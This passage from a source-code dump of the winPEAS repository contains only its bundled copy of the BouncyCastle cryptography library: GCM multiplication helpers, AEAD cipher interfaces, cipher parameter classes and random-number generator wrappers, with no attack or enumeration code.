Pack.BE_To_UInt64(x, 0, z); } internal static void AsUlongs(byte[] x, ulong[] z, int zOff) { Pack.BE_To_UInt64(x, 0, z, zOff, 2); } internal static void Copy(uint[] x, uint[] z) { z[0] = x[0]; z[1] = x[1]; z[2] = x[2]; z[3] = x[3]; } internal static void Copy(ulong[] x, ulong[] z) { z[0] = x[0]; z[1] = x[1]; } internal static void Copy(ulong[] x, int xOff, ulong[] z, int zOff) { z[zOff + 0] = x[xOff + 0]; z[zOff + 1] = x[xOff + 1]; } internal static void DivideP(ulong[] x, ulong[] z) { ulong x0 = x[0], x1 = x[1]; ulong m = (ulong)((long)x0 >> 63); x0 ^= (m & E1UL); z[0] = (x0 << 1) | (x1 >> 63); z[1] = (x1 << 1) | (ulong)(-(long)m); } internal static void DivideP(ulong[] x, int xOff, ulong[] z, int zOff) { ulong x0 = x[xOff + 0], x1 = x[xOff + 1]; ulong m = (ulong)((long)x0 >> 63); x0 ^= (m & E1UL); z[zOff + 0] = (x0 << 1) | (x1 >> 63); z[zOff + 1] = (x1 << 1) | (ulong)(-(long)m); } internal static void Multiply(byte[] x, byte[] y) { ulong[] t1 = GcmUtilities.AsUlongs(x); ulong[] t2 = GcmUtilities.AsUlongs(y); GcmUtilities.Multiply(t1, t2); GcmUtilities.AsBytes(t1, x); } internal static void Multiply(uint[] x, uint[] y) { uint y0 = y[0], y1 = y[1], y2 = y[2], y3 = y[3]; uint z0 = 0, z1 = 0, z2 = 0, z3 = 0; for (int i = 0; i < 4; ++i) { int bits = (int)x[i]; for (int j = 0; j < 32; ++j) { uint m1 = (uint)(bits >> 31); bits <<= 1; z0 ^= (y0 & m1); z1 ^= (y1 & m1); z2 ^= (y2 & m1); z3 ^= (y3 & m1); uint m2 = (uint)((int)(y3 << 31) >> 8); y3 = (y3 >> 1) | (y2 << 31); y2 = (y2 >> 1) | (y1 << 31); y1 = (y1 >> 1) | (y0 << 31); y0 = (y0 >> 1) ^ (m2 & E1); } } x[0] = z0; x[1] = z1; x[2] = z2; x[3] = z3; } internal static void Multiply(ulong[] x, ulong[] y) { //ulong x0 = x[0], x1 = x[1]; //ulong y0 = y[0], y1 = y[1]; //ulong z0 = 0, z1 = 0, z2 = 0; //for (int j = 0; j < 64; ++j) //{ // ulong m0 = (ulong)((long)x0 >> 63); x0 <<= 1; // z0 ^= (y0 & m0); // z1 ^= (y1 & m0); // ulong m1 = (ulong)((long)x1 >> 63); x1 <<= 1; // z1 ^= (y0 & m1); // z2 ^= (y1 & m1); // ulong c = (ulong)((long)(y1 << 63) >> 8); // y1 = (y1 >> 1) | (y0 << 63); // y0 = (y0 >> 1) ^ (c & E1UL); //} //z0 ^= z2 ^ (z2 >> 1) ^ (z2 >> 2) ^ (z2 >> 7); //z1 ^= (z2 << 63) ^ (z2 << 62) ^ (z2 << 57); //x[0] = z0; //x[1] = z1; /* * "Three-way recursion" as described in "Batch binary Edwards", Daniel J. Bernstein. * * Without access to the high part of a 64x64 product x * y, we use a bit reversal to calculate it: * rev(x) * rev(y) == rev((x * y) << 1) */ ulong x0 = x[0], x1 = x[1]; ulong y0 = y[0], y1 = y[1]; ulong x0r = Longs.Reverse(x0), x1r = Longs.Reverse(x1); ulong y0r = Longs.Reverse(y0), y1r = Longs.Reverse(y1); ulong h0 = Longs.Reverse(ImplMul64(x0r, y0r)); ulong h1 = ImplMul64(x0, y0) << 1; ulong h2 = Longs.Reverse(ImplMul64(x1r, y1r)); ulong h3 = ImplMul64(x1, y1) << 1; ulong h4 = Longs.Reverse(ImplMul64(x0r ^ x1r, y0r ^ y1r)); ulong h5 = ImplMul64(x0 ^ x1, y0 ^ y1) << 1; ulong z0 = h0; ulong z1 = h1 ^ h0 ^ h2 ^ h4; ulong z2 = h2 ^ h1 ^ h3 ^ h5; ulong z3 = h3; z1 ^= z3 ^ (z3 >> 1) ^ (z3 >> 2) ^ (z3 >> 7); // z2 ^= (z3 << 63) ^ (z3 << 62) ^ (z3 << 57); z2 ^= (z3 << 62) ^ (z3 << 57); z0 ^= z2 ^ (z2 >> 1) ^ (z2 >> 2) ^ (z2 >> 7); z1 ^= (z2 << 63) ^ (z2 << 62) ^ (z2 << 57); x[0] = z0; x[1] = z1; } internal static void MultiplyP(uint[] x) { uint x0 = x[0], x1 = x[1], x2 = x[2], x3 = x[3]; uint m = (uint)((int)(x3 << 31) >> 31); x[0] = (x0 >> 1) ^ (m & E1); x[1] = (x1 >> 1) | (x0 << 31); x[2] = (x2 >> 1) | (x1 << 31); x[3] = (x3 >> 1) | (x2 << 31); } internal static void MultiplyP(uint[] x, uint[] z) { uint x0 = x[0], x1 = x[1], x2 = x[2], x3 = x[3]; uint m = (uint)((int)(x3 << 31) >> 31); z[0] = (x0 >> 1) ^ (m & E1); z[1] = (x1 >> 1) | (x0 << 31); z[2] = (x2 >> 1) | (x1 << 31); z[3] = (x3 >> 1) | (x2 << 31); } internal static void MultiplyP(ulong[] x) { ulong x0 = x[0], x1 = x[1]; ulong m = (ulong)((long)(x1 << 63) >> 63); x[0] = (x0 >> 1) ^ (m & E1UL); x[1] = (x1 >> 1) | (x0 << 63); } internal static void MultiplyP(ulong[] x, ulong[] z) { ulong x0 = x[0], x1 = x[1]; ulong m = (ulong)((long)(x1 << 63) >> 63); z[0] = (x0 >> 1) ^ (m & E1UL); z[1] = (x1 >> 1) | (x0 << 63); } internal static void MultiplyP3(ulong[] x, ulong[] z) { ulong x0 = x[0], x1 = x[1]; ulong c = x1 << 61; z[0] = (x0 >> 3) ^ c ^ (c >> 1) ^ (c >> 2) ^ (c >> 7); z[1] = (x1 >> 3) | (x0 << 61); } internal static void MultiplyP3(ulong[] x, int xOff, ulong[] z, int zOff) { ulong x0 = x[xOff + 0], x1 = x[xOff + 1]; ulong c = x1 << 61; z[zOff + 0] = (x0 >> 3) ^ c ^ (c >> 1) ^ (c >> 2) ^ (c >> 7); z[zOff + 1] = (x1 >> 3) | (x0 << 61); } internal static void MultiplyP4(ulong[] x, ulong[] z) { ulong x0 = x[0], x1 = x[1]; ulong c = x1 << 60; z[0] = (x0 >> 4) ^ c ^ (c >> 1) ^ (c >> 2) ^ (c >> 7); z[1] = (x1 >> 4) | (x0 << 60); } internal static void MultiplyP4(ulong[] x, int xOff, ulong[] z, int zOff) { ulong x0 = x[xOff + 0], x1 = x[xOff + 1]; ulong c = x1 << 60; z[zOff + 0] = (x0 >> 4) ^ c ^ (c >> 1) ^ (c >> 2) ^ (c >> 7); z[zOff + 1] = (x1 >> 4) | (x0 << 60); } internal static void MultiplyP7(ulong[] x, ulong[] z) { ulong x0 = x[0], x1 = x[1]; ulong c = x1 << 57; z[0] = (x0 >> 7) ^ c ^ (c >> 1) ^ (c >> 2) ^ (c >> 7); z[1] = (x1 >> 7) | (x0 << 57); } internal static void MultiplyP7(ulong[] x, int xOff, ulong[] z, int zOff) { ulong x0 = x[xOff + 0], x1 = x[xOff + 1]; ulong c = x1 << 57; z[zOff + 0] = (x0 >> 7) ^ c ^ (c >> 1) ^ (c >> 2) ^ (c >> 7); z[zOff + 1] = (x1 >> 7) | (x0 << 57); } internal static void MultiplyP8(uint[] x) { uint x0 = x[0], x1 = x[1], x2 = x[2], x3 = x[3]; uint c = x3 << 24; x[0] = (x0 >> 8) ^ c ^ (c >> 1) ^ (c >> 2) ^ (c >> 7); x[1] = (x1 >> 8) | (x0 << 24); x[2] = (x2 >> 8) | (x1 << 24); x[3] = (x3 >> 8) | (x2 << 24); } internal static void MultiplyP8(uint[] x, uint[] y) { uint x0 = x[0], x1 = x[1], x2 = x[2], x3 = x[3]; uint c = x3 << 24; y[0] = (x0 >> 8) ^ c ^ (c >> 1) ^ (c >> 2) ^ (c >> 7); y[1] = (x1 >> 8) | (x0 << 24); y[2] = (x2 >> 8) | (x1 << 24); y[3] = (x3 >> 8) | (x2 << 24); } internal static void MultiplyP8(ulong[] x) { ulong x0 = x[0], x1 = x[1]; ulong c = x1 << 56; x[0] = (x0 >> 8) ^ c ^ (c >> 1) ^ (c >> 2) ^ (c >> 7); x[1] = (x1 >> 8) | (x0 << 56); } internal static void MultiplyP8(ulong[] x, ulong[] y) { ulong x0 = x[0], x1 = x[1]; ulong c = x1 << 56; y[0] = (x0 >> 8) ^ c ^ (c >> 1) ^ (c >> 2) ^ (c >> 7); y[1] = (x1 >> 8) | (x0 << 56); } internal static void MultiplyP8(ulong[] x, int xOff, ulong[] y, int yOff) { ulong x0 = x[xOff + 0], x1 = x[xOff + 1]; ulong c = x1 << 56; y[yOff + 0] = (x0 >> 8) ^ c ^ (c >> 1) ^ (c >> 2) ^ (c >> 7); y[yOff + 1] = (x1 >> 8) | (x0 << 56); } internal static void Square(ulong[] x, ulong[] z) { ulong[] t = new ulong[4]; Interleave.Expand64To128Rev(x[0], t, 0); Interleave.Expand64To128Rev(x[1], t, 2); ulong z0 = t[0], z1 = t[1], z2 = t[2], z3 = t[3]; z1 ^= z3 ^ (z3 >> 1) ^ (z3 >> 2) ^ (z3 >> 7); // z2 ^= (z3 << 63) ^ (z3 << 62) ^ (z3 << 57); z2 ^= (z3 << 62) ^ (z3 << 57); z0 ^= z2 ^ (z2 >> 1) ^ (z2 >> 2) ^ (z2 >> 7); z1 ^= (z2 << 63) ^ (z2 << 62) ^ (z2 << 57); z[0] = z0; z[1] = z1; } internal static void Xor(byte[] x, byte[] y) { int i = 0; do { x[i] ^= y[i]; ++i; x[i] ^= y[i]; ++i; x[i] ^= y[i]; ++i; x[i] ^= y[i]; ++i; } while (i < 16); } internal static void Xor(byte[] x, byte[] y, int yOff) { int i = 0; do { x[i] ^= y[yOff + i]; ++i; x[i] ^= y[yOff + i]; ++i; x[i] ^= y[yOff + i]; ++i; x[i] ^= y[yOff + i]; ++i; } while (i < 16); } internal static void Xor(byte[] x, int xOff, byte[] y, int yOff, byte[] z, int zOff) { int i = 0; do { z[zOff + i] = (byte)(x[xOff + i] ^ y[yOff + i]); ++i; z[zOff + i] = (byte)(x[xOff + i] ^ y[yOff + i]); ++i; z[zOff + i] = (byte)(x[xOff + i] ^ y[yOff + i]); ++i; z[zOff + i] = (byte)(x[xOff + i] ^ y[yOff + i]); ++i; } while (i < 16); } internal static void Xor(byte[] x, byte[] y, int yOff, int yLen) { while (--yLen >= 0) { x[yLen] ^= y[yOff + yLen]; } } internal static void Xor(byte[] x, int xOff, byte[] y, int yOff, int len) { while (--len >= 0) { x[xOff + len] ^= y[yOff + len]; } } internal static void Xor(byte[] x, byte[] y, byte[] z) { int i = 0; do { z[i] = (byte)(x[i] ^ y[i]); ++i; z[i] = (byte)(x[i] ^ y[i]); ++i; z[i] = (byte)(x[i] ^ y[i]); ++i; z[i] = (byte)(x[i] ^ y[i]); ++i; } while (i < 16); } internal static void Xor(uint[] x, uint[] y) { x[0] ^= y[0]; x[1] ^= y[1]; x[2] ^= y[2]; x[3] ^= y[3]; } internal static void Xor(uint[] x, uint[] y, uint[] z) { z[0] = x[0] ^ y[0]; z[1] = x[1] ^ y[1]; z[2] = x[2] ^ y[2]; z[3] = x[3] ^ y[3]; } internal static void Xor(ulong[] x, ulong[] y) { x[0] ^= y[0]; x[1] ^= y[1]; } internal static void Xor(ulong[] x, int xOff, ulong[] y, int yOff) { x[xOff + 0] ^= y[yOff + 0]; x[xOff + 1] ^= y[yOff + 1]; } internal static void Xor(ulong[] x, ulong[] y, ulong[] z) { z[0] = x[0] ^ y[0]; z[1] = x[1] ^ y[1]; } internal static void Xor(ulong[] x, int xOff, ulong[] y, int yOff, ulong[] z, int zOff) { z[zOff + 0] = x[xOff + 0] ^ y[yOff + 0]; z[zOff + 1] = x[xOff + 1] ^ y[yOff + 1]; } private static ulong ImplMul64(ulong x, ulong y) { ulong x0 = x & 0x1111111111111111UL; ulong x1 = x & 0x2222222222222222UL; ulong x2 = x & 0x4444444444444444UL; ulong x3 = x & 0x8888888888888888UL; ulong y0 = y & 0x1111111111111111UL; ulong y1 = y & 0x2222222222222222UL; ulong y2 = y & 0x4444444444444444UL; ulong y3 = y & 0x8888888888888888UL; ulong z0 = (x0 * y0) ^ (x1 * y3) ^ (x2 * y2) ^ (x3 * y1); ulong z1 = (x0 * y1) ^ (x1 * y0) ^ (x2 * y3) ^ (x3 * y2); ulong z2 = (x0 * y2) ^ (x1 * y1) ^ (x2 * y0) ^ (x3 * y3); ulong z3 = (x0 * y3) ^ (x1 * y2) ^ (x2 * y1) ^ (x3 * y0); z0 &= 0x1111111111111111UL; z1 &= 0x2222222222222222UL; z2 &= 0x4444444444444444UL; z3 &= 0x8888888888888888UL; return z0 | z1 | z2 | z3; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/modes/IAeadBlockCipher.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.crypto.modes { /// An IAeadCipher based on an IBlockCipher. public interface IAeadBlockCipher : IAeadCipher { /// The block size for this cipher, in bytes. int GetBlockSize(); /// The block cipher underlying this algorithm. IBlockCipher GetUnderlyingCipher(); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/modes/IAeadCipher.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.crypto.modes { /// /// A cipher mode that includes authenticated encryption with a streaming mode and optional /// associated data. /// /// /// Implementations of this interface may operate in a packet mode (where all input data is /// buffered and processed during the call to DoFinal, or in a streaming mode (where output /// data is incrementally produced with each call to ProcessByte or ProcessBytes. This is /// important to consider during decryption: in a streaming mode, unauthenticated plaintext /// data may be output prior to the call to DoFinal that results in an authentication failure. /// The higher level protocol utilising this cipher must ensure the plaintext data is handled /// appropriately until the end of data is reached and the entire ciphertext is authenticated. /// /// public interface IAeadCipher { /// The name of the algorithm this cipher implements. string AlgorithmName { get; } /// Initialise the cipher. /// Parameter can either be an AeadParameters or a ParametersWithIV object. /// Initialise for encryption if true, for decryption if false. /// The key or other data required by the cipher. void Init(bool forEncryption, ICipherParameters parameters); /// Add a single byte to the associated data check. /// If the implementation supports it, this will be an online operation and will not retain the associated data. /// The byte to be processed. void ProcessAadByte(byte input); /// Add a sequence of bytes to the associated data check. /// If the implementation supports it, this will be an online operation and will not retain the associated data. /// The input byte array. /// The offset into the input array where the data to be processed starts. /// The number of bytes to be processed. void ProcessAadBytes(byte[] inBytes, int inOff, int len); /** * Encrypt/decrypt a single byte. * * @param input the byte to be processed. * @param outBytes the output buffer the processed byte goes into. * @param outOff the offset into the output byte array the processed data starts at. * @return the number of bytes written to out. * @exception DataLengthException if the output buffer is too small. */ int ProcessByte(byte input, byte[] outBytes, int outOff); /** * Process a block of bytes from in putting the result into out. * * @param inBytes the input byte array. * @param inOff the offset into the in array where the data to be processed starts. * @param len the number of bytes to be processed. * @param outBytes the output buffer the processed bytes go into. * @param outOff the offset into the output byte array the processed data starts at. * @return the number of bytes written to out. * @exception DataLengthException if the output buffer is too small. */ int ProcessBytes(byte[] inBytes, int inOff, int len, byte[] outBytes, int outOff); /** * Finish the operation either appending or verifying the MAC at the end of the data. * * @param outBytes space for any resulting output data. * @param outOff offset into out to start copying the data at. * @return number of bytes written into out. * @throws InvalidOperationException if the cipher is in an inappropriate state. * @throws InvalidCipherTextException if the MAC fails to match. */ int DoFinal(byte[] outBytes, int outOff); /** * Return the value of the MAC associated with the last stream processed. * * @return MAC for plaintext data. */ byte[] GetMac(); /** * Return the size of the output buffer required for a ProcessBytes * an input of len bytes. * * @param len the length of the input. * @return the space required to accommodate a call to ProcessBytes * with len bytes of input. */ int GetUpdateOutputSize(int len); /** * Return the size of the output buffer required for a ProcessBytes plus a * DoFinal with an input of len bytes. * * @param len the length of the input. * @return the space required to accommodate a call to ProcessBytes and DoFinal * with len bytes of input. */ int GetOutputSize(int len); /// /// Reset the cipher to the same state as it was after the last init (if there was one). /// void Reset(); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/modes/gcm/BasicGcmExponentiator.cs ================================================ using winPEAS._3rdParty.BouncyCastle.crypto.util; namespace winPEAS._3rdParty.BouncyCastle.crypto.modes.gcm { public class BasicGcmExponentiator : IGcmExponentiator { private ulong[] x; public void Init(byte[] x) { this.x = GcmUtilities.AsUlongs(x); } public void ExponentiateX(long pow, byte[] output) { // Initial value is little-endian 1 ulong[] y = GcmUtilities.OneAsUlongs(); if (pow > 0) { ulong[] powX = Arrays.Clone(x); do { if ((pow & 1L) != 0) { GcmUtilities.Multiply(y, powX); } GcmUtilities.Square(powX, powX); pow >>= 1; } while (pow > 0); } GcmUtilities.AsBytes(y, output); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/modes/gcm/IGcmExponentiator.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.crypto.modes.gcm { public interface IGcmExponentiator { void Init(byte[] x); void ExponentiateX(long pow, byte[] output); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/modes/gcm/IGcmMultiplier.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.crypto.modes.gcm { public interface IGcmMultiplier { void Init(byte[] H); void MultiplyH(byte[] x); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/modes/gcm/Tables4kGcmMultiplier.cs ================================================ using winPEAS._3rdParty.BouncyCastle.crypto.util; namespace winPEAS._3rdParty.BouncyCastle.crypto.modes.gcm { public class Tables4kGcmMultiplier : IGcmMultiplier { private byte[] H; private ulong[] T; public void Init(byte[] H) { if (T == null) { T = new ulong[512]; } else if (Arrays.AreEqual(this.H, H)) { return; } this.H = Arrays.Clone(H); // T[0] = 0 // T[1] = H.p^7 GcmUtilities.AsUlongs(this.H, T, 2); GcmUtilities.MultiplyP7(T, 2, T, 2); for (int n = 2; n < 256; n += 2) { // T[2.n] = T[n].p^-1 GcmUtilities.DivideP(T, n, T, n << 1); // T[2.n + 1] = T[2.n] + T[1] GcmUtilities.Xor(T, n << 1, T, 2, T, (n + 1) << 1); } } public void MultiplyH(byte[] x) { //ulong[] z = new ulong[2]; //GcmUtilities.Copy(T, x[15] << 1, z, 0); //for (int i = 14; i >= 0; --i) //{ // GcmUtilities.MultiplyP8(z); // GcmUtilities.Xor(z, 0, T, x[i] << 1); //} //Pack.UInt64_To_BE(z, x, 0); int pos = x[15] << 1; ulong z0 = T[pos + 0], z1 = T[pos + 1]; for (int i = 14; i >= 0; --i) { pos = x[i] << 1; ulong c = z1 << 56; z1 = T[pos + 1] ^ ((z1 >> 8) | (z0 << 56)); z0 = T[pos + 0] ^ (z0 >> 8) ^ c ^ (c >> 1) ^ (c >> 2) ^ (c >> 7); } Pack.UInt64_To_BE(z0, x, 0); Pack.UInt64_To_BE(z1, x, 8); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/parameters/AeadParameters.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.crypto.parameters { public class AeadParameters : ICipherParameters { private readonly byte[] associatedText; private readonly byte[] nonce; private readonly KeyParameter key; private readonly int macSize; /** * Base constructor. * * @param key key to be used by underlying cipher * @param macSize macSize in bits * @param nonce nonce to be used */ public AeadParameters(KeyParameter key, int macSize, byte[] nonce) : this(key, macSize, nonce, null) { } /** * Base constructor. * * @param key key to be used by underlying cipher * @param macSize macSize in bits * @param nonce nonce to be used * @param associatedText associated text, if any */ public AeadParameters( KeyParameter key, int macSize, byte[] nonce, byte[] associatedText) { this.key = key; this.nonce = nonce; this.macSize = macSize; this.associatedText = associatedText; } public virtual KeyParameter Key { get { return key; } } public virtual int MacSize { get { return macSize; } } public virtual byte[] GetAssociatedText() { return associatedText; } public virtual byte[] GetNonce() { return nonce; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/parameters/KeyParameter.cs ================================================ using System; namespace winPEAS._3rdParty.BouncyCastle.crypto.parameters { public class KeyParameter : ICipherParameters { private readonly byte[] key; public KeyParameter( byte[] key) { if (key == null) throw new ArgumentNullException("key"); this.key = (byte[])key.Clone(); } public KeyParameter( byte[] key, int keyOff, int keyLen) { if (key == null) throw new ArgumentNullException("key"); if (keyOff < 0 || keyOff > key.Length) throw new ArgumentOutOfRangeException("keyOff"); if (keyLen < 0 || keyLen > (key.Length - keyOff)) throw new ArgumentOutOfRangeException("keyLen"); this.key = new byte[keyLen]; Array.Copy(key, keyOff, this.key, 0, keyLen); } public byte[] GetKey() { return (byte[])key.Clone(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/parameters/ParametersWithIV.cs ================================================ using System; using winPEAS._3rdParty.BouncyCastle.crypto.util; namespace winPEAS._3rdParty.BouncyCastle.crypto.parameters { public class ParametersWithIV : ICipherParameters { private readonly ICipherParameters parameters; private readonly byte[] iv; public ParametersWithIV(ICipherParameters parameters, byte[] iv) : this(parameters, iv, 0, iv.Length) { } public ParametersWithIV(ICipherParameters parameters, byte[] iv, int ivOff, int ivLen) { // NOTE: 'parameters' may be null to imply key re-use if (iv == null) throw new ArgumentNullException("iv"); this.parameters = parameters; this.iv = Arrays.CopyOfRange(iv, ivOff, ivOff + ivLen); } public byte[] GetIV() { return (byte[])iv.Clone(); } public ICipherParameters Parameters { get { return parameters; } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/parameters/ParametersWithSBox.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.crypto.parameters { public class ParametersWithSBox : ICipherParameters { private ICipherParameters parameters; private byte[] sBox; public ParametersWithSBox( ICipherParameters parameters, byte[] sBox) { this.parameters = parameters; this.sBox = sBox; } public byte[] GetSBox() { return sBox; } public ICipherParameters Parameters { get { return parameters; } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/parameters/SkeinParameters.cs ================================================ using System; using System.Collections; using System.Globalization; using System.IO; using winPEAS._3rdParty.BouncyCastle.crypto.util; namespace winPEAS._3rdParty.BouncyCastle.crypto.parameters { /// /// Parameters for the Skein hash function - a series of byte[] strings identified by integer tags. /// /// /// Parameterised Skein can be used for: ///
      ///
    • MAC generation, by providing a key.
    • ///
    • Randomised hashing, by providing a nonce.
    • ///
    • A hash function for digital signatures, associating a /// public key with the message digest.
    • ///
    • A key derivation function, by providing a /// key identifier.
    • ///
    • Personalised hashing, by providing a /// recommended format or /// arbitrary personalisation string.
    • ///
    ///
    /// /// /// public class SkeinParameters : ICipherParameters { /// /// The parameter type for a secret key, supporting MAC or KDF functions: 0 /// public const int PARAM_TYPE_KEY = 0; /// /// The parameter type for the Skein configuration block: 4 /// public const int PARAM_TYPE_CONFIG = 4; /// /// The parameter type for a personalisation string: 8 /// public const int PARAM_TYPE_PERSONALISATION = 8; /// /// The parameter type for a public key: 12 /// public const int PARAM_TYPE_PUBLIC_KEY = 12; /// /// The parameter type for a key identifier string: 16 /// public const int PARAM_TYPE_KEY_IDENTIFIER = 16; /// /// The parameter type for a nonce: 20 /// public const int PARAM_TYPE_NONCE = 20; /// /// The parameter type for the message: 48 /// public const int PARAM_TYPE_MESSAGE = 48; /// /// The parameter type for the output transformation: 63 /// public const int PARAM_TYPE_OUTPUT = 63; private IDictionary parameters; public SkeinParameters() : this(Platform.CreateHashtable()) { } private SkeinParameters(IDictionary parameters) { this.parameters = parameters; } /// /// Obtains a map of type (int) to value (byte[]) for the parameters tracked in this object. /// public IDictionary GetParameters() { return parameters; } /// /// Obtains the value of the key parameter, or null if not /// set. /// /// The key. public byte[] GetKey() { return (byte[])parameters[PARAM_TYPE_KEY]; } /// /// Obtains the value of the personalisation parameter, or /// null if not set. /// public byte[] GetPersonalisation() { return (byte[])parameters[PARAM_TYPE_PERSONALISATION]; } /// /// Obtains the value of the public key parameter, or /// null if not set. /// public byte[] GetPublicKey() { return (byte[])parameters[PARAM_TYPE_PUBLIC_KEY]; } /// /// Obtains the value of the key identifier parameter, or /// null if not set. /// public byte[] GetKeyIdentifier() { return (byte[])parameters[PARAM_TYPE_KEY_IDENTIFIER]; } /// /// Obtains the value of the nonce parameter, or null if /// not set. /// public byte[] GetNonce() { return (byte[])parameters[PARAM_TYPE_NONCE]; } /// /// A builder for . /// public class Builder { private IDictionary parameters = Platform.CreateHashtable(); public Builder() { } public Builder(IDictionary paramsMap) { IEnumerator keys = paramsMap.Keys.GetEnumerator(); while (keys.MoveNext()) { int key = (int)keys.Current; parameters.Add(key, paramsMap[key]); } } public Builder(SkeinParameters parameters) { IEnumerator keys = parameters.parameters.Keys.GetEnumerator(); while (keys.MoveNext()) { int key = (int)keys.Current; this.parameters.Add(key, parameters.parameters[key]); } } /// /// Sets a parameters to apply to the Skein hash function. /// /// /// Parameter types must be in the range 0,5..62, and cannot use the value 48 /// (reserved for message body). ///

    /// Parameters with type < 48 are processed before /// the message content, parameters with type > 48 /// are processed after the message and prior to output. /// /// the type of the parameter, in the range 5..62. /// the byte sequence of the parameter. public Builder Set(int type, byte[] value) { if (value == null) { throw new ArgumentException("Parameter value must not be null."); } if ((type != PARAM_TYPE_KEY) && (type <= PARAM_TYPE_CONFIG || type >= PARAM_TYPE_OUTPUT || type == PARAM_TYPE_MESSAGE)) { throw new ArgumentException("Parameter types must be in the range 0,5..47,49..62."); } if (type == PARAM_TYPE_CONFIG) { throw new ArgumentException("Parameter type " + PARAM_TYPE_CONFIG + " is reserved for internal use."); } this.parameters.Add(type, value); return this; } ///

    /// Sets the parameter. /// public Builder SetKey(byte[] key) { return Set(PARAM_TYPE_KEY, key); } /// /// Sets the parameter. /// public Builder SetPersonalisation(byte[] personalisation) { return Set(PARAM_TYPE_PERSONALISATION, personalisation); } /// /// Implements the recommended personalisation format for Skein defined in Section 4.11 of /// the Skein 1.3 specification. /// /// /// The format is YYYYMMDD email@address distinguisher, encoded to a byte /// sequence using UTF-8 encoding. /// /// the date the personalised application of the Skein was defined. /// the email address of the creation of the personalised application. /// an arbitrary personalisation string distinguishing the application. public Builder SetPersonalisation(DateTime date, string emailAddress, string distinguisher) { try { MemoryStream bout = new MemoryStream(); StreamWriter outBytes = new StreamWriter(bout, System.Text.Encoding.UTF8); outBytes.Write(date.ToString("YYYYMMDD", CultureInfo.InvariantCulture)); outBytes.Write(" "); outBytes.Write(emailAddress); outBytes.Write(" "); outBytes.Write(distinguisher); Platform.Dispose(outBytes); return Set(PARAM_TYPE_PERSONALISATION, bout.ToArray()); } catch (IOException e) { throw new InvalidOperationException("Byte I/O failed.", e); } } /// /// Sets the parameter. /// public Builder SetPublicKey(byte[] publicKey) { return Set(PARAM_TYPE_PUBLIC_KEY, publicKey); } /// /// Sets the parameter. /// public Builder SetKeyIdentifier(byte[] keyIdentifier) { return Set(PARAM_TYPE_KEY_IDENTIFIER, keyIdentifier); } /// /// Sets the parameter. /// public Builder SetNonce(byte[] nonce) { return Set(PARAM_TYPE_NONCE, nonce); } /// /// Constructs a new instance with the parameters provided to this /// builder. /// public SkeinParameters Build() { return new SkeinParameters(parameters); } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/parameters/TweakableBlockCipherParameters.cs ================================================ using winPEAS._3rdParty.BouncyCastle.crypto.util; namespace winPEAS._3rdParty.BouncyCastle.crypto.parameters { /// /// Parameters for tweakable block ciphers. /// public class TweakableBlockCipherParameters : ICipherParameters { private readonly byte[] tweak; private readonly KeyParameter key; public TweakableBlockCipherParameters(KeyParameter key, byte[] tweak) { this.key = key; this.tweak = Arrays.Clone(tweak); } /// /// Gets the key. /// /// the key to use, or null to use the current key. public KeyParameter Key { get { return key; } } /// /// Gets the tweak value. /// /// The tweak to use, or null to use the current tweak. public byte[] Tweak { get { return tweak; } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/prng/CryptoApiRandomGenerator.cs ================================================ using System; using System.Security.Cryptography; namespace winPEAS._3rdParty.BouncyCastle.crypto.prng { /// /// Uses RandomNumberGenerator.Create() to get randomness generator /// public class CryptoApiRandomGenerator : IRandomGenerator { private readonly RandomNumberGenerator rndProv; public CryptoApiRandomGenerator() : this(RandomNumberGenerator.Create()) { } public CryptoApiRandomGenerator(RandomNumberGenerator rng) { this.rndProv = rng; } #region IRandomGenerator Members public virtual void AddSeedMaterial(byte[] seed) { // We don't care about the seed } public virtual void AddSeedMaterial(long seed) { // We don't care about the seed } public virtual void NextBytes(byte[] bytes) { rndProv.GetBytes(bytes); } public virtual void NextBytes(byte[] bytes, int start, int len) { if (start < 0) throw new ArgumentException("Start offset cannot be negative", "start"); if (bytes.Length < (start + len)) throw new ArgumentException("Byte array too small for requested offset and length"); if (bytes.Length == len && start == 0) { NextBytes(bytes); } else { byte[] tmpBuf = new byte[len]; NextBytes(tmpBuf); Array.Copy(tmpBuf, 0, bytes, start, len); } } #endregion } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/prng/DigestRandomGenerator.cs ================================================ using winPEAS._3rdParty.BouncyCastle.crypto.util; namespace winPEAS._3rdParty.BouncyCastle.crypto.prng { /** * Random generation based on the digest with counter. Calling AddSeedMaterial will * always increase the entropy of the hash. *

    * Internal access to the digest is synchronized so a single one of these can be shared. *

